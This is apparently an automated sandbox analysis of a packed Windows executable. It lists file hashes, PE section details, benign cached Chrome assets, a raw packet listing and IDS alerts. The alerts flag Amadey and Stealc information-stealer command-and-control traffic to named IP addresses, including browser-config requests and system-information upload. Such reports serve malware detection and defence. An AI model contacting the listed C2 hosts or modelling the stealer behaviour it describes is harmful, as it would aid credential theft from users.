Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	116987
Entropy (8bit):	5.487092744347448
Encrypted:	false
SSDEEP:	3072:8gyvyaJrCo6iq9OWVpM3s8KjALDu/ASq0fIrs+a:8gy6o6iqrmKsd0fIrs7
MD5:	DF907C9E6BC048EA1505930FAB9010A9
SHA1:	51FF7084F44C713E30335C5D30CFC1AAC8F34774
SHA-256:	B3B7340EE6C9240EE8FCFEDA03C6EF4CE7DB0DD0DC213B19C8D4C87ADDC15105
SHA-512:	27D9A9B0372D97847418488D9F1DF50C0CA475156EF78E0103D45084580806232C0EBD3087729A9860E059B0DC620D367E0617B8BDE43FFBC8B42253C528B58B
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);.var aa,ba,fa,ma,na,ra,sa,ua;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ka=fa(this);ma=function(a,b){if(b)a:{var c=_.ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)r

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9451958369222995
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'802'752 bytes
MD5:	38a9ecc0994ecbddb16d6fb2d4a3e911
SHA1:	d4bd9f9c0b4dc11f8c4a2f5209ad4795fa4056d5
SHA256:	24f92db69d14575388d39cfbb065ff06b14fedc28fc9e1fedad851672ac6111f
SHA512:	3f9f7459007bb5af43c2dc11cf2d2b055572bb0b5dcd34d345eebe490a5a574d3d6fd76e822f308c1d7fa0766d29b5daa44b8ff9f622812497b55ce5948fcf0c
SSDEEP:	49152:6Z+u0Io0uNP//L7OaTShOKZ4bYFYb4/r7:6wu0Iq17zJKZViC
TLSH:	49853353EF7F445ED66C8EF4C0C3EBD57A9A6D805A76801F703825E50CB31AA11AE1D8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F482881091Ah
punpcklbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	a3221d191a0cc9f1aa34e4f65649d769	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	4d92899a90cba918d707622222468309	False	0.58203125	data	4.576657303960784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a5000	0x200	12473d257bfbe65fe594cc6ec5784bd4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
twoluoqx	0x4f1000	0x19f000	0x19e400	c9f1bc5965303abd0f209ca30f30886d	False	0.9949851718089922	data	7.95453879379292	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wvgliggj	0x690000	0x1000	0x400	ef480c9ca11e77062dda179ddecce683	False	0.84765625	data	6.424205774606107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	ade658301a8ebc395212f12e99439dec	False	0.05778952205882353	DOS executable (COM)	0.7319540296538448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68f0fc	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T20:05:12.987015+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	64279	TCP
2024-11-19T20:05:23.061157+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49718	185.215.113.206	80	TCP
2024-11-19T20:05:23.284854+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49718	185.215.113.206	80	TCP
2024-11-19T20:05:23.295987+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49718	TCP
2024-11-19T20:05:23.510985+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49718	185.215.113.206	80	TCP
2024-11-19T20:05:23.519247+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49718	TCP
2024-11-19T20:05:24.865223+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49718	185.215.113.206	80	TCP
2024-11-19T20:05:25.578953+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49718	185.215.113.206	80	TCP
2024-11-19T20:05:45.478031+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:47.568688+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:48.260396+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:49.836804+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:51.694655+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:52.055649+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:55.788058+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	64193	185.215.113.16	80	TCP
2024-11-19T20:07:05.429100+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	64278	185.215.113.43	80	TCP
2024-11-19T20:07:08.322278+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	64280	95.163.152.232	80	TCP
2024-11-19T20:07:08.322278+0100	2011496	ET MALWARE Executable Download named to be FQDN	1	192.168.2.7	64280	95.163.152.232	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 20:05:12.987015009 CET	49675	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:12.987185001 CET	49674	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:13.065042019 CET	49677	443	192.168.2.7	20.50.201.200
Nov 19, 2024 20:05:13.127759933 CET	49672	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:13.815011978 CET	49677	443	192.168.2.7	20.50.201.200
Nov 19, 2024 20:05:15.315057039 CET	49677	443	192.168.2.7	20.50.201.200
Nov 19, 2024 20:05:17.380038023 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:17.380059004 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:17.380307913 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:17.380383968 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:17.380388975 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.024496078 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.024607897 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.031539917 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.031560898 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.031881094 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.058739901 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.103332996 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.299413919 CET	49677	443	192.168.2.7	20.50.201.200
Nov 19, 2024 20:05:18.430752993 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.430783987 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.430818081 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.430917978 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.430939913 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.431108952 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.515952110 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.515980959 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.516019106 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.516038895 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.516053915 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.516154051 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.517436981 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.517456055 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.517518044 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.517529011 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.517579079 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.613456011 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.613476038 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.613543034 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.613554955 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.613595963 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.614062071 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.614075899 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.614155054 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.614164114 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.614247084 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.614974976 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.614990950 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.615045071 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.615051985 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.615089893 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.615104914 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.615943909 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.615958929 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.616019964 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.616029024 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.616063118 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.722560883 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.722592115 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.722790956 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.722812891 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.723155022 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.723182917 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.723226070 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.723234892 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.723261118 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.723290920 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724018097 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724035978 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724080086 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724087954 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724103928 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724133015 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724467039 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724508047 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724523067 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724529982 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724553108 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724575043 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.724910021 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.724968910 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.725016117 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.725522041 CET	49701	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.725541115 CET	443	49701	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.850615978 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.850662947 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.850924015 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.852690935 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.852730036 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.852858067 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.852971077 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.853070021 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.853149891 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.853319883 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.853336096 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.853358984 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.853403091 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.854235888 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854346037 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854394913 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.854408979 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.854475021 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854510069 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.854545116 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854573011 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854662895 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854691982 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:18.854707003 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:18.854727030 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.541706085 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.542229891 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.542248011 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.542381048 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.542692900 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.542697906 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.542773962 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.543245077 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.543256044 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.543593884 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.543607950 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.543672085 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.543685913 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.544718027 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.544738054 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.563263893 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.563731909 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.563744068 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.564250946 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.564255953 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.585933924 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.586359024 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.586417913 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.586885929 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.586899996 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.651415110 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.651442051 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.651494980 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.651511908 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.651525021 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.651616096 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.651617050 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.652070999 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.652070999 CET	49702	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.652107000 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.652117014 CET	443	49702	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.654844046 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.654911041 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.654984951 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.655189991 CET	49707	443	192.168.2.7	13.107.246.45
